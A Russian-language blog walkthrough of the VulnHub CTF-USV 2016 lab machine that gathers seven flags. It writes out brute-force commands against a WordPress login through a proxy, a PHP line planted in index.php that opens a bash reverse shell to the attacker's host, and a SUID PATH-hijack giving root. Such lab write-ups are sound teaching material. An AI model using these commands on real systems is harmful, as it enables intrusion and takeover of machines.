Pull to refresh

VulnHub: USV 2016. CTF в Румынии, какие они?

Reading time 6 min
Views 6.5K


Всем доброго времени суток, в этой статье рассмотрим решение Румынского CTF-USV 2016, на тему: «Игра престолов». Скачать образ виртуальной машины можно по ссылке с VulnHub.

Если вам интересно как проходят межвузовские CTF в Румынии, прошу под кат

Немного о CTF


CTF-USV 2016 was the first International Students Contest in Information Security organized in Romania by Suceava University. Security challenges creation, evaluation of results and building of CTF environment was provided by Safetech Tech Team: Oana Stoian (@gusu_oana), Teodor Lupan (@theologu) and Ionut Georgescu (@ionutge1)

Всего имеется 7 флагов, следующего формата: Country_name Flag: [md5 hash].

Начнём!


Изучим цель nmap'ом:

$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2017-01-15 19:47 MSK
Nmap scan report for 192.168.1.102
Host is up (0.00057s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3 (protocol 2.0)
80/tcp open http Apache httpd
3129/tcp open http-proxy Squid http proxy 3.5.22
3306/tcp open mysql MariaDB (unauthorized)
4444/tcp open http Foundry EdgeIron switch http config
21211/tcp open ftp vsftpd 2.0.8 or later
MAC Address: 08:00:27:2B:64:55 (Oracle VirtualBox virtual NIC)
Service Info: Host: SevenKingdoms; Device: switch

И приступим ко взятию флагов…

Flag 1 (Croatia)


С первым флагом, всё просто. Запускаем nikto, который сразу нас информирует о наличии необычного заголовка:

$ nikto -h 192.168.1.102

+ Uncommon header 'x-xss-protection' found, with contents: Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg==

Декодируем его:

$ echo Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg== | base64 -d
Croatia Flag: 0c326784214398aeb75044e9cd4c0ebb

Flag 2 (Italy)




Вот такого дракона можно увидеть при подключении по ssh. А в самом низу зашифрованную строку:
wDOW0gW/QssEtq5Y3nHX4XlbH/Dnz27qHFhHVpMulJSyDCvex++YCd42tx7HKGgB

При внимательном осмотре, можно заметить, наличие некоторых букв, из которых состоит картинка. Сложив всё вместе получаем:
AES ECB xxxxx0000000xxxxxx

Алгоритм, ключ и зашифрованное сообщение у нас есть, например вот тут, расшифровываем и получаем второй флаг:

Italy Flag: 0047449b33fbae830d833721edaef6f1

Flag 3 (Portugal)


Переходим к web. У нас есть сайт (80 порт), и есть прокси (3129 порт). Указав в настройках адрес и порт прокси сервера, в данном случае — атакуемой машины, открываем сайт:



Не много, продолжим:



Обычный WordPress, ничего примечательного. Открыв индексную страницу, попадаем в блог, с несколькими статьями об «Игре престолов». Первое, что бросается в глаза, это следующая публикация:



Открыв это изображение, замечаем, что оно расположено в директории hodor:



Перейдя в которую, нам предлагают скачать архив:



В архиве нас ждёт изображение:



И флаг:

$ echo UG9ydHVnYWwgRmxhZzogYTI2NjNiMjMwNDVkZTU2YzdlOTZhNDA2NDI5ZjczM2Y= | base64 -d
Portugal Flag: a2663b23045de56c7e96a406429f733f

Flag 4 (Paraguay)


В самом низу страницы, внимание привлекает вот такой пост:



Парсим сайт, и собираем словарь с паролями для брутфорса:

cewl --proxy_host 192.168.1.102 --proxy_port 3129 http://192.168.1.102/blog/ > blog.lst

Запустив перебор, через некоторое время, patator выдаёт верный пароль:

$ patator http_fuzz http_proxy=192.168.1.102:3129 url='http://192.168.1.102/blog/wp-login.php?action=postpass' method=POST header='Referer: "http://192.168.1.102/blog/index.php/2016/10/16/the-secret-chapter/"' body='post_password=FILE0&Submit=Enter' 0=blog.lst -x ignore:fgrep='post-password-form' follow=1 accept_cookie=1



Вводим его и получаем доступ к содержимому этой публикации:



Декодируем расположенную тут base64 строку и получаем новый флаг:

$ echo UGFyYWd1YXkgRmxhZzogNDc2MWI2NWYyMDA1MzY3NDY1N2M3ZTYxODY2MjhhMjk= | base64 -d
Paraguay Flag: 4761b65f20053674657c7e6186628a29

Flag 5 (Thailand)


Если верить содержимому этого поста, то пароль у нас прям перед глазами, да, картинка тут явно в тему. Но если внимательно присмотреться, то ниже есть фраза:
She uses the Field Training Preparation for her army.

Отлично, где авторизовываться мы знаем, остался пароль. Сначала я пробовал ввести отдельные слова, потом, добавил туда обрывки фраз, и в скором времени hydra нашла то, что нужно:



Подключаемся:

$ ftp 192.168.1.102 21211
ftp> ls -ahl
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    2 1000     1000         4096 Dec 05 20:05 .
dr-xr-xr-x    2 1000     1000         4096 Dec 05 20:05 ..
-rw-r--r--    1 0        0              94 Dec 05 20:04 .note.txt
-rw-r--r--    1 0        0              32 Dec 05 20:05 readme.txt
226 Directory send OK.

Скачиваем все доступные файлы, потом будем их изучать:

ftp> get readme.txt
local: readme.txt remote: readme.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for readme.txt (32 bytes).
226 Transfer complete.
32 bytes received in 0.00 secs (226.4 kB/s)
ftp> get .note.txt
local: .note.txt remote: .note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .note.txt (94 bytes).
226 Transfer complete.
94 bytes received in 0.00 secs (791.4 kB/s)

В первом файле ничего интересного:

readme.txt
I keep a hidden note for myself

А вот второй достоин внимания:

.note.txt
I always forgot passwords, so for my blog account I used my children`s name.

-= Daenerys =-

Мы узнали подсказку к паролю — это имена её детей, google быстро подсказал, о каких детях идёт речь и как их зовут. Поэтому запустив crunch приступаем к генерации словаря:

$ crunch 1 1 -p Rhaegal Viserion Drogon > dragons

Отправляем это в wpscan для перебора:

$ sudo ./wpscan.rb --proxy 192.168.1.102:3129 --url http://192.168.1.102/blog/ --username mother_of_dragons --wordlist dragons



Спустя некоторое время, получаем пароль от админки WordPress. Авторизуемся, и в профиле текущего пользователя находим следующий флаг:



$ echo VGhhaWxhbmQgRmxhZzogNmFkNzk2NWQxZTA1Y2E5OGIzZWZjNzZkYmY5ZmQ3MzM= | base64 -d
Thailand Flag: 6ad7965d1e05ca98b3efc76dbf9fd733

Flag 6 (Mongolia)


Как оказалось, Daenerys имеет в этом блоге права администратора, так что подредактировав файл index.php, сделаем себе шелл, добавив строку:

system('bash -i >& /dev/tcp/192.168.1.124/4444 0>&1');

Запускаем netcat, перезагружаем страницу в браузере, и получаем шелл:



Осмотревшись в системе, внимание привлекает файл reward_flag.txt, в директории веб-сервера:

[http@arch blog]$ ls -ahl ../
total 92K
drwxr-xr-x 3 root root 4.0K Nov 17 15:43 .
drwxr-xr-x 4 root root 4.0K May 31  2013 ..
drwxr-xr-x 6 http http 4.0K Jan 15 19:52 blog
-rw-r--r-- 1 root root  59K Nov 16 19:59 gtr.jpg
-rw-r--r-- 1 root root 3.2K Nov 16 20:01 index.html
-rw-r--r-- 1 root root   65 Nov 17 15:41 reward_flag.txt
-rwsr-sr-x 1 root root 8.3K Nov 17 14:55 winterfell_messenger

Откроем его, судя по всему, там должен быть флаг:

[http@arch blog]$ cat ../reward_flag.txt
TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ=
[http@arch blog]$ echo TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ= | base64 -d
Mongolia Flag: 6b49c13cccd91940f09d79e142108394

Flag 7 (Somalia)


В директории с последним флагом лежит ещё какое-то приложение winterfell_messenger, которое судя по наличию SUID бита, вероятно поможет повысить свои привилегии в системе. Запустим его и посмотрим что оно делает:

[http@arch http]$ ./winterfell_messenger
cat: /root/message.txt: No such file or directory

Так, а что на счёт строк?

strings ./winterfell_messenger
[http@arch http]$ strings ./winterfell_messenger
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-8
AWAVA
AUATL
[]A\A]A^A_
cat /root/message.txt
;*3$"
GCC: (GNU) 6.1.1 20160802
GCC: (GNU) 6.2.1 20160830
init.c
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6916
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
setuid@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment


Даже реверсить не нужно, у нас есть setuid, и system, который использует относительный путь для команды cat, а из документации к system известно, что:
system() выполняет команды, указанные в string, вызывая в свою очередь команду /bin/sh -c string, и возвращается, когда команда выполнена.

В общем, действуем по уже знакомому алгоритму:

[http@arch http]$ PATH=/tmp:$PATH
[http@arch http]$ echo "/bin/bash" > /tmp/cat
[http@arch tmp]$ chmod +x cat

Запускаем уязвимую программу и получаем шелл:

[http@arch tmp]$ /srv/http/winterfell_messenger
/srv/http/winterfell_messenger
id
uid=0(root) gid=33(http) groups=33(http)

В директории root находим последний флаг:

echo U29tYWxpYSBGbGFnOiA0YTY0YTU3NWJlODBmOGZmYWIyNmIwNmE5NThiY2YzNA== | base64 -d
Somalia Flag: 4a64a575be80f8ffab26b06a958bcf34

И принимаем поздравления:



Как указано в описании, это их первый CTF. Для первого раза сойдёт, но повторять не стоит, будем надеяться они и дальше будут развивать эту тему, добавляя более изощрённые задания, ведь в реальной жизни, к сожалению, банальным сканом директорий уже никого не удивить.
Tags:
Hubs:
+7
Comments 0
Comments Leave a comment

Articles